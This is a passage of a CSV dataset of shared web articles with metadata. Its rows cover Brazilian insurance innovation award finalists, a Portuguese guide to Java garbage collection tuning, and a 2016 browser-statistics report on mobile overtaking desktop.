1481113181,CONTENT SHARED,881166463209244600,-6067316262393890508,5867539930583671809,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,http://www.sonhoseguro.com.br/2016/11/cnseg-anuncia-os-finalistas-da-6a-edicao-do-premio-antonio-carlos-de-almeida-braga-de-inovacao-em-seguros/,CNseg anuncia os finalistas da 6ª edição do Prêmio de Inovação em Seguros - Sonho Seguro,"CNseg anuncia os finalistas da 6ª edição do Prêmio de Inovação em Seguros Fonte: CNseg A Confederação Nacional das Empresas de Seguros Gerais, Previdência Privada e Vida, Saúde Suplementar e Capitalização (CNseg) anunciou nesta sexta-feira, 18, os 15 finalistas do Prêmio Antônio Carlos de Almeida Braga de Inovação em Seguros, edição 2016 . Agora, os autores e coautores dos projetos selecionados, divididos nas categorias Processos, Comunicação e Produtos e Serviços, farão a defesa oral de seus trabalhos para a comissão julgadora do Prêmio. Esta etapa ocorrerá entre os dias 28 e 30 de novembro, na sede da CNseg, no Rio de Janeiro. Nesta edição, a Comissão julgadora é composta pela economista Maria Eugenia Buosi; a Defensora Pública Estadual Patrícia Cardoso Maciel Tavares; o professor de economia da Unicamp Antônio Márcio Buainain; o gerente geral da Associação Palas Athena do Brasil, Julio Albuquerque Bierrenbach; o diretor da Associação Brasileira de Gerentes de Riscos e cronista do jornal Estado de S. Paulo, Antonio Penteado Mendonça; o presidente nacional do Brasilcon, Bruno Miragem; o economista Sergio Besserman; o professor de Direito Constitucional da FGV - RJ Joaquim Falcão; e o economista e professor da UFRJ Helio Portocarrero. Para a vice presidente da CNseg e presidente da FenaSaúde, Solange Beatriz Palheiro Mendes, a indicação de um projeto como finalista do Prêmio, já resulta em uma valorização das empresas e profissionais envolvidos. ""A indicação desses projetos como finalistas, mais do que um estímulo ao empreendedorismo e ao desenvolvimento de carreira dos autores, é algo que agrega valor ao negócio e ao cliente. Acreditamos que isso gere ainda mais valor às marcas"", afirma Solange. Ao final do processo, 1º, 2º e 3º lugares de cada categoria receberão prêmios de R$30 mil, R$15 mil e R$10 mil, respectivamente. Os vencedores serão conhecidos durante cerimônia de confraternização do mercado segurador, a ser realizada dia 15 de dezembro, no Rio de Janeiro. Confira abaixo a lista dos classificados: Categoria Processos APP Rede UNNA - Autor: Carlos Roberto Montefusco - Empresa: Odontoprev Casa Protegida: Regulação de Sinistro com WhatsApp - Autor: Alexandre de Souza Vieira - Empresa: Tokio Marine Seguradora Integração: A Evolução ao Alcance das Nossas Mãos - Autor: José Roberto Bezerra de Lima - Empresa: Bradesco Seguros Recurso de Glosa Eletrônico (RGE) - Autor: Alexandre Nicola - Empresa: SulAmérica Seguros e Previdência Agro Field Inspector App - Autor: Seetharam Guruvayoorappan - Empresa: Tata Consultancy Services do Brasil Comunicação Somos Todos Ouvidores - Autora: Gisele Garuzi Oggioni de Araújo - Empresa: Bradesco Seguros Plano de Comunicação de Combate à Corrupção - Autora: Cassia Cristina Ferreira de Sousa Monteiro - Empresa: SulAmérica Seguros e Previdência O Arthur Vai Amar - Autora: Larissa Amado Osório de Almeida - Empres: Icatu Seguros Painting Experience - Autora: Fernanda Nepomuceno de Oliveira - Empresa: IRB Brasil RE Vídeos Personalizados - Autora: Etienne da Costa Gonçalves - Empresa: Liberty Seguros Produtos e Serviços Protector Bikes - Tecnologia e Inovação em um Único Produto - Autor: Fernando Figueiró Cantreras - Empresa: Argo Seguros Brasil Projeto Parto Adequado - Autora: Janaína Consolação Ferreira - Empresa: SulAmérica Seguros e Previdência BB Seguro Residencial na Internet - Autor: Ismael Tessari Grandi - Empresa: BB Corretora de Seguros e Administradora de Bens Telemetria: Direção em Conta - Autor: José Luiz Pessoa de Mello - Empresa: Liberty Seguros A Solução que o Mercado de Turismo Aguardava - Autor: Waldir de Menezes Júnior - Empresa: Ifaseg Corretora de Seguros Sobre o Prêmio O Prêmio Antonio Carlos de Almeida Braga de Inovação em Seguros busca reconhecer trabalhos que contribuem para a inovação no mercado. Lançado pela Confederação Nacional das Empresas de Seguros Gerais, Previdência Privada e Vida, Saúde Suplementar e Capitalização (CNseg), a premiação, que está em sua sexta edição, tem como objetivo estimular a evolução do setor e o aprimoramento das relações com o consumidor. O nome de Antonio Carlos de Almeida Braga foi unânime ao se pensar em um prêmio de inovação em seguros. Nascido em 1926, filho de engenheiro português dos setores imobiliário e de seguros, ele fez da Companhia Atlântica uma das maiores seguradoras da América Latina. Foi ainda o fundador, posteriormente, da Icatu Seguros, além de ter sido o pioneiro na distribuição de produtos de seguros por meio da rede bancária. Com seu espírito inovador, foi capaz de aperfeiçoar o atendimento no mercado. Por isso, mereceu esta homenagem e serve como inspiração para os seguradores da atualidade.",pt
1481114167,CONTENT SHARED,8869347744613364434,997469202936578234,2204632498906085879,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",MG,BR,HTML,https://www.infoq.com/br/articles/Java_Garbage_Collection_Distilled,Java Garbage Collection Essencial,"Serial, Parallel, Concurrent, CMS, G1, Young Gen, New Gen, Old Gen, Perm Gen, Eden, Tenured, Survivor Spaces, Safepoints e as centenas de flags de inicialização da JVM. Deixam tudo confuso quando se está tentando otimizar o garbage collector para obter a taxa de transferência e latência necessária para a aplicação Java? A documentação sobre a coleta de lixo parece um manual para aeronaves. Cada botão e seletor está explicado detalhadamente, mas em nenhum lugar é possível encontrar um guia sobre como voar. Este artigo vai tentar explicar as vantagens e desvantagens na escolha e ajuste dos algoritmos do garbage collector em uma determinada carga de trabalho. O foco será nos coletores da Oracle Hotspot JVM e do OpenJDK que são de uso mais comum. No final, outras JVMs comerciais serão discutidas para mostrar alternativas. Vantagens e desvantagens O sábio povo continua nos dizendo: ""não se consegue nada de graça"". Quando queremos algo geralmente temos que abrir mão de algo em troca. Quando se trata da coleta de lixo trabalhamos com 3 principais variáveis que definem metas para os coletores: Taxa de transferência: O total de trabalho realizado por uma aplicação como uma proporção do tempo gasto no GC. Configurando a taxa de transferência para ‑XX:GCTimeRatio=99, 99 é o padrão que equivale a 1% do tempo do GC. Latência: O tempo gasto pelos sistemas em resposta a eventos que são afetados por pausas introduzidas através da coleta de lixo. Configure a latência para pausas do GC com -XX: MaxGCPauseMillis = <n>. Memória: A quantidade de memória que nossos sistemas usam para guardar o estado, que é frequentemente copiado e movido quando estão sendo geridos. O conjunto de objetos ativos mantidos pela aplicação em qualquer tempo é conhecido como Live Set. Tamanho máximo da heap (Maximum heap size) -Xmx<n> é um parâmetro de ajuste para configurar o heap size disponível para uma aplicação. Observação: Muitas vezes o Hotspot não pode alcançar essas metas e vai silenciosamente continuar sem nenhum aviso, mesmo após ter falhado por uma grande margem. Latência é a distribuição entre eventos. Pode ser aceitável ter um aumento médio de latência para reduzir o pior caso de latência, ou torná-los menos frequentes. Não devemos interpretar o termo ""real-time"" como menor latência possível; mas sim que se refere a ter uma latência determinística, independentemente da taxa de transferência. Para cargas de trabalho de algumas aplicações, a taxa de transferência é a meta mais importante. Um exemplo seria um processamento em lote de longa duração, não importa se o processamento em lote é ocasionalmente interrompido por alguns segundos enquanto a coleta de lixo é executada, desde que o processamento em lote possa ser concluído logo. Para praticamente todas as outras cargas de trabalho, desde aplicações interativas com humanos a sistemas de comércio financeiro, se um sistema não responder após alguns segundos ou milissegundos, isso pode significar um desastre. Em negócios financeiros frequentemente vale a pena negociar alguma taxa de transferência em troca de latência consistente. Podemos também ter aplicações que são limitadas pela quantidade de memória física disponível e ter que se manter presente, neste caso temos que melhorar o desempenho em ambos, latência e taxa de transferência. A seguir algumas vantagens e desvantagens: Em grande parte o custo da coleta de lixo, como um custo amortizado, pode ser reduzido fornecendo ao garbage collector algoritmos com mais memória. Os piores casos observados de pausas induzidas por latência devido à coleta de lixo podem ser reduzidos limitando o live set e mantendo a heap pequena. A frequência com que as pausas ocorrem pode ser reduzida pelo gerenciamento da heap e o tamanho das gerações, e controlando a taxa de alocação de objetos. A grande frequência de pausas pode ser reduzida pela execução do GC concorrentemente com a aplicação, às vezes à custa da taxa de transferência. Ciclo de vida dos Objetos Os algoritmos de coleta de lixo são frequentemente otimizados na expectativa de que a maioria dos objetos viva por um curto período de tempo, enquanto que relativamente poucos vivem por muito tempo. Na maioria das aplicações, os objetos que vivem por um período significativo de tempo tendem a constituir uma porcentagem muito pequena dos objetos alocados ao longo do tempo. Na teoria, esse comportamento observado na coleta de lixo é conhecido como ""mortalidade infantil"" ou ""hipótese geracional fraca"". Por exemplo, loops em Iterators são em sua maioria de curta duração enquanto que Strings são efetivamente imortais. A experiência tem demonstrado que os garbage collectors geracionais normalmente podem suportar uma taxa de transferência maior que os collectors não geracionais, portanto são quase sempre usados em servidores JVMs. Pela separação das gerações de objetos, sabemos que a região na qual os novos objetos são alocados é provavelmente muito escassa para objetos vivos. Portanto, um collector que varre procurando por objetos vivos nessa região e os copia para outra região de objetos mais velhos pode ser muito eficiente. Os coletores de lixo do Hotspot gravam a idade de um objeto de acordo com o número de ciclos do GC que sobreviveu. Observação: Se uma aplicação sempre gera um monte de objetos que vivem por um tempo bastante longo, então é de se esperar que essa aplicação gaste uma porção significativa deste tempo com a coleta de lixo, assim como tenha que se gastar um tempo significativo ajustando o coletor de lixo do Hotspot. Isto é devido à redução da eficiência do GC que acontece quando o ""filtro"" geracional é menos efetivo, e ao custo resultante de coletar gerações vivas há mais tempo com uma maior frequência. Gerações mais velhas são menos escassas e, como resultado, a eficiência dos algoritmos de coleta das gerações mais velhas tendem a ser bem ruim. Os Garbage Collectors geracionais tendem a operar em dois ciclos de coletas distintos: as coletas Menores (Minor collections), em que os objetos de curta duração são coletados, e as menos frequentes coletas Maiores (Major collections), em que as regiões mais velhas são coletadas. Eventos do tipo Para-O-Mundo (Stop-The-World) As pausas sofridas pelas aplicações durante a coleta de lixo são devidas aos, como são conhecidos, ""eventos do tipo stop-the-world"". Por razões práticas de engenharia, para que o garbage collector opere, é necessário parar a aplicação em execução periodicamente para que a memória possa ser gerenciada. Dependendo dos algoritmos, diferentes coletores dispararão o evento stop-the-world em específicos pontos da execução, variando o tempo da parada. Para fazer uma aplicação parar totalmente é necessário pausar todas as threads em execução. Os garbage collectors fazem isso avisando as threads para parar quando elas estiverem em um ""ponto seguro"", que é o ponto durante a execução do programa no qual é conhecido por todos os GC e todos os objetos na heap estão consistentes. Dependendo do que a thread estiver executando, pode demorar algum tempo até ela alcançar um ponto seguro. Pontos seguros são normalmente estabelecidos nos retornos de método e nos finais dos loops, mas podem ser otimizados para alguns pontos diferentes, tornando-os dinamicamente mais raros. Por exemplo, se uma Thread está copiando um grande array, clonando um objeto grande, ou executando um loop, pode demorar muitos milissegundos antes de um ponto seguro ser atingido. O tempo para atingir um ponto seguro é uma preocupação importante em aplicações com baixa latência. Este tempo pode ser visualizado habilitando a flag ‑XX:+PrintGCApplicationStoppedTime junto com as outras flags do GC. Observação: Para aplicações com um número grande de threads em execução, quando um evento stop-the world ocorre, o sistema sofrerá uma pressão enorme assim que as threads estiverem liberadas dos pontos seguros. Por isso que algoritmos meno sependentes de eventos stop-the-world são potencialmente mais eficientes. Organização da Heap no Hotspot Para entender como os diferentes coletores funcionam é melhor explorar como a Heap é organizada para suportar os coletores geracionais. Os objetos que vivem durante um tempo longo o suficiente são eventualmente promovidos para a tenured space . A perm gen é o lugar em que a Runtime (JVM) armazena os objetos ""conhecidos"" por serem efetivamente imortais, tais como Classes e Strings estáticas. Infelizmente o uso comum do carregamento de classes de forma contínua em muitas aplicações motiva a equivocada suposição de que por trás da perm gen as classes são imortais. No Java 7 as Strings internas foram movidas da perm gen para a tenured , e a partir do Java 8 a perm gen não existirá mais, e não será abordada neste artigo. A maioria dos coletores comerciais não usa uma perm gen separada e tende a tratar todos os objetos de longa duração na tenured . Observação: As áreas virtuais permitem que os coletores ajustem o tamanho das regiões para cumprir as metas de taxa de transferência e latência. Os coletores mantêm estatísticas para cada fase da coleta e ajustam o tamanho da região na tentativa de cumprir as metas. Alocação de Objetos Para evitar disputas, cada thread é atribuída a um buffer de alocação de thread local (Thread Local Allocation Buffer - TLAB) no qual os objetos são alocados. O uso de TLABs permite que a alocação de objetos possa escalar de acordo com número de threads, evitando disputas de um único recurso na memória. A alocação de objetos via TLAB é uma operação muito barata, a TLAB simplesmente aponta o ponteiro para o tamanho do objeto que leva cerca de 10 instruções na maioria das plataformas. A alocação da pilha de memória para o Java é ainda mais barato do que usar o malloc do runtime existente no C. Observação: Visto que a alocação individual de objetos é muito barata, a taxa à qual coletas menores devem ocorrer é diretamente proporcional à taxa de alocação do objeto. Quando uma TLAB está exausta uma thread simplesmente socilita uma nova para o Eden . Quando o Eden está cheio uma coleta menor é iniciada. Pode acontecer de não ser possível alocar grandes objetos (-XX:PretenureSizeThreshold=n) na young gen e assim eles terão de ser alocados na old gen , por exemplo um grande array. Se o limite configurado é menor que o tamanho do TLAB, então os objetos que couberem no TLAB não serão criados na old gen . O novo coletor G1 manipula grandes objetos diferentemente e o mesmo será discutido mais adiante. A cópia para o tenured space é conhecida como uma promoção ou amadurecimento. Promoções ocorrem para objetos que são suficientemente velhos (-- XX:maxTenuringThreshold ), ou quando o survivor space estoura. Objetos vivos são objetos que podem ser acessados pela aplicação, quaisquer outros objetos que não possam ser acessados podem portanto ser considerados mortos. Em uma coleta menor, a cópia dos objetos vivos é feita primeiramente pelo que é conhecido como GC Roots, e de forma iterativa copia qualquer objeto acessível para o survivor space. GC Roots normalmente incluem referências da aplicação e campos estáticos internos da JVM, e pilhas de threads, tudo o que efetivamente aponta para gráficos de objetos acessíveis da aplicação. O cartão de mesa do Hotspot é um array de bytes no qual cada byte é usado para marcar a potencial existência de referências entre gerações em uma região correspondente a 512 bytes da old gen . As referências são armazenadas na heap, a ""barreira de armazenamento"" de código marcará os cartões para indicar que uma potencial referência da old gen para a new gen possa existir na região 512 byte associada. No momento da coleta, o cartão de mesa é usado para procurar por referências entre gerações, que efetivamente representam GC Roots adicionais para a new gen . Entretanto um custo fixo significativo nas coletas menores é diretamente proporcional ao tamanho da old gen . Existem duas survivor spaces na new gen da Hotspot, que se alternam em suas regras em seus "" espaço destino "" e "" espaço origem "". No início de uma coleta menor, o "" espaço destino "" survivor space é sempre vazio, e atua como uma área de cópia para a coleta menor. O survivor space da coleta menor anterior é parte do ""espaço origem"", que também inclui o Eden , local que os objetos vivos que precisam ser copiados podem ser encontrados. O custo de um GC de coleta menor é geralmente dominado pelo custo da cópia de objetos para os survivor spaces e tenured spaces . Objetos que não sobrevivem a coleta menor estão efetivamente livres para serem tratados. O trabalho realizado durante a coleta menor é diretamente proporcional ao número de objetos vivos encontrados, e não ao tamanho da new gen . O tempo total gasto executando a coleta menor pode ser praticamente reduzida a metade cada vez que o tamanho do Eden é dobrado. A memória portanto pode ser trocada por taxa de transferência. A duplicação do tamanho Eden resultará no aumento do tempo de coleta por ciclo, mas isso é relativamente pequeno se tanto o número de objetos a serem promovidos como o tamanho de geração mais velha é constante. Observação: Na Hotspot as coletas menores são eventos stop-the-world. Isso está rapidamente se tornando uma questão importante conforme nossas heaps ficam maiores com mais objetos vivos. Já vemos a necessidade de coletas concorrentes da young gen para atingirmos as metas de pausa de tempo. Coletas maiores O coletor da old gen vai tentar adivinhar quando é necessário coletar para evitar um fracasso na promoção da young gen . Os coletores monitoram um limite de preenchimento para a old gen e começam a coletar quando este limite é ultrapassado. Se este limite não é suficiente para atender as necessidades de promoção, então um ""FullGC"" é acionado. O FullGC envolve a promoção de todos os objetos vivos da new gen seguidas por uma coleta e compactação da old gen . A falha de promoção é uma operação muito cara e os objetos promovidos a partir deste ciclo deve ser desfeitos para que o evento FullGC possa ocorrer. Observação: Para evitar a falha na promoção será necessário ajustar o preenchimento que a old gen permite para acomodar promoções (‑XX:PromotedPadding=<n>). Observação: Quando a Heap precisa aumentar um FullGC é acionado. Esse redimensionamento da Heap por FullGCs podem ser evitado ajustando -Xms e -Xmx para o mesmo valor. Além do FullFC, uma compactação da old gen é provávelmente o maior evento stop-the-world que uma aplicação vai experimentar. O tempo para esta compactação tende a crescer linearmente com o número de objetos vivos no tenured space . Coleta em série Coletor paralelo Em sistemas com muitos processadores o Coletor Paralelo Antigo vai dar melhor vazão que qualquer coletor. Ele não impacta em uma aplicação em execução até a coleta acontecer, e então vai coletar em paralelo usando múltiplas threads usando um algoritmo mais eficiente. Isso faz o Coletor Paralelo Antigo muito eficiente para aplicação em batch. O custo de coletar as gerações old é afetado pelo número de objetos mantendo uma maior extensão do que o tamanho da heap. Portanto a eficiência do Coletor Paralelo Antigo pode ser aumentada para alcançar uma maior taxa de transferência, fornecendo mais memória e aceitando maiores, mas em número menor, pausas para coleta. Espere coletas menores mais rápidas com este coletor porque a promoção para o tenured space é um simples operação de cópia e acerto de ponteiros. Para servidores de aplicações o Coletor Paralelo Old deve ser a porta de entrada. Entretanto se as pausas para coletas maiores são maiores que a aplicação pode tolerar então será preciso considerar empregar um coletor concorrente que colete os objetos na tenured concorrentemente enquanto a aplicação está em execução. Observação: Espere pausas em ordem de 1 a 5 segundos por GB de informação viva em máquinas modernas enquanto a old gen é compactada. Coletor Concurrent Mark Sweep (CMS) O coletor Concurrent Mark Sweep (CMS) (-XX:+UseConcMarkSweepGC) é executado na old gen coletando objetos maduros que não são mais acessíveis durante a coleta maior. Ele é executado concorrentemente na aplicação com o objetivo de manter espaço livre o suficiente na old gen , então falhas de promoção na young gen não ocorrem. A falha de promoção irá desencadear um FullGC. O CMS segue um processo de várias etapas: Marcação inicial <stop-the-world>: Procura GC Roots; Marcação concorrente: Marca todos os objetos acessíveis pelo GC Roots; Pré-limpeza concorrente: Verifica referências de objetos que foram atualizadas e objetos que foram promovidos durante a fase de remarcação concorrente; Remarcação <stop-the-world>: Captura referências de objetos que foram atualizados desde a fase de pré-limpeza; Varredura concorrente: Atualiza as listas livre com a recuperação da memória ocupada por objetos mortos; Reinicio concorrente: Reinicia a estrutura de dados para a próxima execução. Assim que os objetos maduros se tornam inacessíveis, o espaço é recuperado pelo CMS e colocado em listas livres. Quando a promoção acontece, deve ser pesquisado um local de tamanho adequado para as listas livres para o objeto promovido. Isso aumenta o custo da promoção e assim aumenta o custo da coleta menor comparado ao Coletor Paralelo. Observação: O CMS não é um coletor de compactação, o que ao longo do tempo pode resultar na fragmentação da old gen. A promoção do objeto pode falhar, pois um objeto grande pode não caber nos locais disponíveis na old gen . Quando isso acontece uma mensagem ""promoção falha"" é registrada e um FullGC é acionado para compactar os objetos maduros vivos. Para tais compactações orientadas ao FullGCs, espere pausas piores que das coletas maiores usando o Coletor Paralelo Antigo porque CMS usa uma simples thread para a compactação. O CMS é na maior parte concorrente com a aplicação, que tem um número de implicações. Primeiro, o tempo da CPU é consumido pelo coletor, deste modo reduzindo a CPU disponível para a aplicação. O total de tempo requerido pelo CMS aumenta linearmente com o montante de objetos promovidos para o tenured space . Segundo, para algumas fases concorrentes do ciclo do GC, todas as threads tem que ser trazidas para um ponto a salvo para o GC Roots marcar e realizar uma remarcação paralela para verificar se há mutações. Observação: Se uma aplicação percebe mutações significantes nos objetos maduros, então uma fase de remarcação pode ser significante, nos extremos pode levar mais tempo do que uma compactação completa com o Coletor Paralelo Antigo. O CMS faz do FullGC um evento menos frequente à custa da redução da taxa de transferência, coletas menores são mais caras, e mais marcantes. A redução na taxa de transferência pode ser qualquer coisa entre 10% a 40% em relação ao Coletor Paralelo, dependendo da taxa de promoção. O CMS também exige 20% mais memória para acomodar estruturas de dados adicionais e ""lixo flutuante"" que pode ser perdido durante a marcação simultânea que será transferida para o próximo ciclo. Altas taxas de promoção e fragmentação resultante podem às vezes ser reduzidas pelo aumento do tamanho de ambos a young gen e old gen . Observação: O CMS pode sofrer ""falhas de modo concorrente"", que pode ser visto nos logs, quando deixa de coletar a uma taxa suficiente para manter-se com a promoção. Isso pode ser causado quando a coleta começa tarde, que podem ser definidos por meio de ajuste. Mas isso também pode acontecer quando a taxa de coleta não consegue acompanhar a alta taxa de promoção ou a alta mutação de objetos de algumas aplicações. Se o taxa de promoção ou mutação da aplicação é tão alta, então sua aplicação pode necessitar de algumas mudanças para reduzir a pressão da promoção. Adicionando mais memória para um sistema deste tipo, por vezes, pode piorar a situação, porque o CMS teria mais memória para examinar. Coletor Garbage First (G1) O Garbage First (G1) (-XX:+UseG1GC) é um novo coletor introduzido no Java 6 e agora oficialmente suportado no Java 7. É um algoritmo parcialmente concorrente que também tenta compactar o tenured space em pequenas e incrementais pausas stop-the-world para tentar minimizar os eventos FullGC que aflige o CMS por causa da fragmentação. G1 é um coletor geracional que organiza a heap diferentemente dos outros coletores dividindo-o em regiões de tamanho fixo de efeito variável, ao invés de regiões contíguas com o mesmo objetivo. O G1 adota a abordagem de concorrentemente marcar regiões para rastrear referências entre regiões, e concentra a coleta nas regiões com mais espaço livre. Estas regiões são então coletadas em uma pausa stop-the-world descarregando os objetos vivos para uma região vazia, assim compactando no processo. Objetos maiores que 50% da região são alocados em uma região monstruosa, que é um múltiplo do tamanho da região. A alocação e coleta de objetos monstruosos podem ser muito caros para o G1, e até agora teve pouco ou nenhum esforço de otimização aplicada. O desafio com qualquer coletor de compactação não é o de mover objetos mas o de atualizar as referências destes objetos. Se um objeto é referenciado em várias regiões, então atualizar estas referências podem demorar significativamente mais do que mover o objeto. O G1 rastreia quais objetos em uma região tem referências de outras regiões via ""Remembered Sets"" (Conjuntos lembrados). Se um Remembered Set tornar-se grande, então o G1 pode desacelerar significativamente. Quando liberando objetos de uma região para outra, o tamanho dos eventos stop-the-world associados tendem a ser proporcionais ao número de regiões com referências que precisam ser escaneadas e potencialmente corrigidas. Manter os Remembered Sets aumenta o custo das coletas menores resultando pausas maiores do que visto com o Coletor Paralelo Antigo ou o CMS para coleções menores. O G1 é configurado baseado na latência -XX:MaxGCPauseMillis=<n>, valor padrão = 200ms. A meta irá influenciar a quantidade de trabalho realizado em cada ciclo somente na base nos melhores esforços. Estabelecer metas em dezenas de milissegundos é mais fútil, e da forma como foi escrito, tentar alvejar dezenas de milissegundos não foi o foco do G1. O G1 é em geral um bom coletor para grandes pilhas que tem a tendência de se tornar fragmentado quando uma aplicação pode tolerar pausas entre 0.5 e 1.0 segundo para compactações incrementais. O G1 tende a reduzir a frequência dos piores casos de pausa visto no CMS devido a fragmentação ao custo das coletas menores e compactação incremental da old gen . Mais pausas acabam sendo obrigatórias para o desenvolvimento regional ao invés de compactações de pilhas cheias. Como o CMS, o G1 pode deixar de manter-se com as taxas de promoção, e voltará para um FullGC stop-the-world. Assim como o CMS tem ""concorrente modo de falha"", G1 pode sofrer uma falha de evacuação, visto nos logs como ""estouro de espaço"". Isso ocorre quando não existem regiões livres na qual os objetos possam ser evacuados, que é similar a uma falha de promoção. Se isso ocorrer, tente usar uma grande pilha e mais threads de marcação, mas em alguns casos mudanças na aplicação são necessárias para reduzir os custos de alocação. Um problema desafiador para o G1 é lidar com objetos populares e regiões. Compactação incremental stop-the-world funciona bem quando regiões tem objetos vivos que não são fortemente referenciados em outras regiões. Se um objeto ou região é popular então o Remembered Set será grande e o G1 evitará coletar estes objetos. Eventualmente ele pode não ter escolha, que resultará em muitas pausas frequentes de média duração até que a heap seja compactada. Coletores Concorrentes Alternativos CMS e G1 são frequentemente chamados de coletores concorrentes. Quando olhamos o trabalho total realizado é claro que a young gen , promoção e até mesmo o trabalho da old gen não é concorrente ao todo. O CMS é mais concorrente para a old gen ; O G1 é muito mais do que um coletor incremental do tipo stop-the-world. Ambos CMS e G1 tem significantes e regulares ocorrências dos eventos stop-the-world, e nos piores cenários que frequentemente tornam-nos impróprios para rigorosas aplicações de baixa latência, como uma negociação financeira or interfaces reativas ao usuário. Coletores alternativos como Oracle JRockit Real Time, IBM Websphere Real Time e Azul Zing estão disponíveis. Os coletores JRockit e Websphere levam vantagem na latência na maioria dos casos sobre o CMS e G1, mas frequentemente veem limitações na faixa de transferência e continuam sofrendo significantes eventos stop-the-world. Zinf é o único coletor Java conhecido por este autor que pode ser verdadeiramente concorrente para coleta e compactação enquanto mantém uma alta taxa de transferência para todas as gerações. Zing tem algumas frações de milisengundos em eventos stop-the-world, mas há trocas de fases no ciclo de coleta que não estão relacionados ao tamanho do conjunto vivo. JRockit RT pode alcançar tempos de pausa típicos em dezenas de milisegundos para altas taxas de alocação contidas no tamanho da pilha, mas as vezes tem que deixar para traz a pausa para a compactação completa. Websphere RT pode alcançar pausas de poucos milisegundos através de taxa de alocação restrita e tamanho de conjuntos vivos. O Zing pode alcançar pausas de frações de milisegundos com altas taxas de alocação por ser concorrente por todas fases, incluindo durante as coletas menores. O Zing tem condições de manter esse comportamento consistente graças ao tamanho da heap, permitindo que o usuário aplique grandes tamanhos de heap conforme preciso, acompanhando a taxa de tranferência do aplicativo ou a necessidade dos estados dos objetos, sem medo de maiores tempos de pausa. Para todos os coletores concorrentes focados na latência é necessário dar um pouco de taxa de transferência e ganho de rastro. Dependendo da eficiência do coletor concorrente pode-se dar um pouco de taxa de transferência, mas está sempre adicionando rastro significativo. Se for realmente concorrente, com poucos eventos stop-the-world, então mais núcleos de CPU serão necessários para habilitar a concorrência e manter a vazão. Observação: Todos coletores concorrentes tendem a funcionar mais eficientemente quando há espaço suficiente para a alocação. Como regra de ponto de partida tente reservar uma heap com pelo menos duas ou três vezes o tamanho dos conjuntos vivos, para a operação ser eficiente. Entretanto, o espaço necessário para manter as operações concorrentes aumentam com a taxa de transferência da aplicação, e está associada a alocação e taxas de promoção. Então para aplicações de maior vazão, uma heap maior para um conjunto vivo proporcional pode ser justificado. Dados os enormes espaços de memória disponíveis para os sistemas de hoje o uso da memória raramente é um problema no lado do servidor. Monitorando e Ajustando a Coleta de Lixo Para entender como a aplicação e o garbage collector estão se comportando, inicie a JVM com as seguintes configurações: Então carregue os logs dentro de uma ferramenta como Chewiebug para realizar as analises. Para ver a natureza dinâmica do GC, execute o JVisualVM e instale o plugin Visual GC que permitirá a visualização do GC em ação, como por exemplo na aplicação a seguir. Para entender o que o GC da aplicação precisa é necessário carregar testes representativos que possam ser rodados repetidamente. À medida que se familiariza com a forma como cada coletor trabalha, então execute os teste de carga com diferentes configurações até chegar na taxa de transferência e latência desejadas. É importante medir a latência da perspectiva do usuário final. Isso pode ser alcançado capturando o tempo de resposta de cada requisição do teste em um historograma, e é possível ler mais sobre isso aqui . Se houver picos de latência que estão fora do range aceitável, então tente relacioná-las com os logs do GC para determinar se o problema é o GC. É possível que outras questões possam causar os picos de latência. Outra ferramenta útil a considerar é o jHiccup que pode ser usado para acompanhar as pausas dentro da JVM e através do sistema como um todo. Se os picos de latência são devidos ao GC, então invista em ajustar o CMS ou G1 para ver se suas métricas de latência podem ser cumpridas. As vezes isso não é possível devido a alta alocação e taxas de promoção combinadas com os requisitos de baixa latência. Os ajustes do GC podem se tornar um exercício altamente necessário e que muitas vezes requer mudanças de aplicativos para reduzir as taxas de alocação ou ciclo de vida dos objetos. Se for o caso, então avalie a economia de tempo e recursos gastos no ajustes do GC e mudanças na aplicação com a compra de um dos concorrentes comerciais de compactação de JVMs como JRockit Real Time Azul ou Zing.",pt
1481114579,CONTENT SHARED,-1101361754763388054,3609194402293569455,-4112602822889277629,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://www.sitepoint.com/browser-trends-december-2016-mobile-overtakes-desktop/,Browser Trends December 2016: Mobile Overtakes Desktop,"In November, we looked at the underdog browsers adopted by one in thirty web users . The StatCounter browser statistics for December 2016 records a more exciting and momentous event in the web's history ... Worldwide Desktop & Tablet Browser Statistics, October to November 2016 The following table shows browser usage movements during the past month. Worldwide Desktop & Tablet Browser Statistics, November 2015 to November 2016 The following table shows browser usage movements during the past twelve months: (The tables show market share estimates for desktop browsers. The 'change' column is the absolute increase or decrease in market share. The 'relative' column indicates the proportional change, i.e. 6.7% of oldIE users migrated elsewhere last month. There are several caveats so I recommend you read How Browser Market Share is Calculated and StatCounter vs NetMarketShare .) Chrome experienced an uncharacteristic fall. I'm secretly pleased; I predicted Google's browser wouldn't reach 60% before the end of 2016 ! That said, -0.17% is hardly a major setback, and my predictions are notoriously awful. No doubt everyone will switch to Chrome during the next month just to prove me wrong! A fall for Chrome generally means good news for other applications. Firefox, Edge and even IE11 all rose but the changes are hardly dramatic. Let's move on; there's far more interesting news on mobile ... Worldwide Mobile Browser Statistics, November 2016 Mobile browser use increased by an impressive 1.78% during November. It smashed through the parity barrier and now accounts for 50.62% of all web activity . Mobile exceeds desktop usage for the first time since the web began. (Some sites were reporting this event last month and mobile usage did overtake desktop on certain days. However, the overall percentage for October 2016's mobile use remained below 50%.) We've been waiting some time . The ""mobiles-will-overtake-desktop"" prediction was raised at least a decade ago, but took longer than most expected. Possible reasons include: It is difficult to do real work on a mobile device. That said, devices have grown exponentially in Asia and Africa in places where the PC revolution never occurred. Millions of people now work and trade on smartphones in ways which are troublesome in the western world. We still struggle with micro-payments and simple transactions regardless of age or financial status. Network bandwidth is slow, unreliable and costly in the majority of countries. There are only so many hours you can surf and a mobile connection will impede progress. There are exciting possibilities for future technologies, but fast, always-on and inexpensive networks remain a dream. The web has evolved from a predominantly desktop-based starting point. The situation has improved with Responsive Web Design and Progressive Web Apps, but many legacy sites are inoperable or impractical on a mobile device. Does the mobile explosion change our development lives? Probably not if you've been reading SitePoint and watching industry trends: you're already mobile aware. Fortunately, it will be a wake-up call for any client or boss who doubted the growth of the mobile platform or didn't think it would affect their business. Be prepared for several ""how can we make our digital experience better on a smartphone"" conversations very soon. From a technical perspective, I recommend a mobile-first approach: Design your site/application to work on smaller, narrow screens. Use media 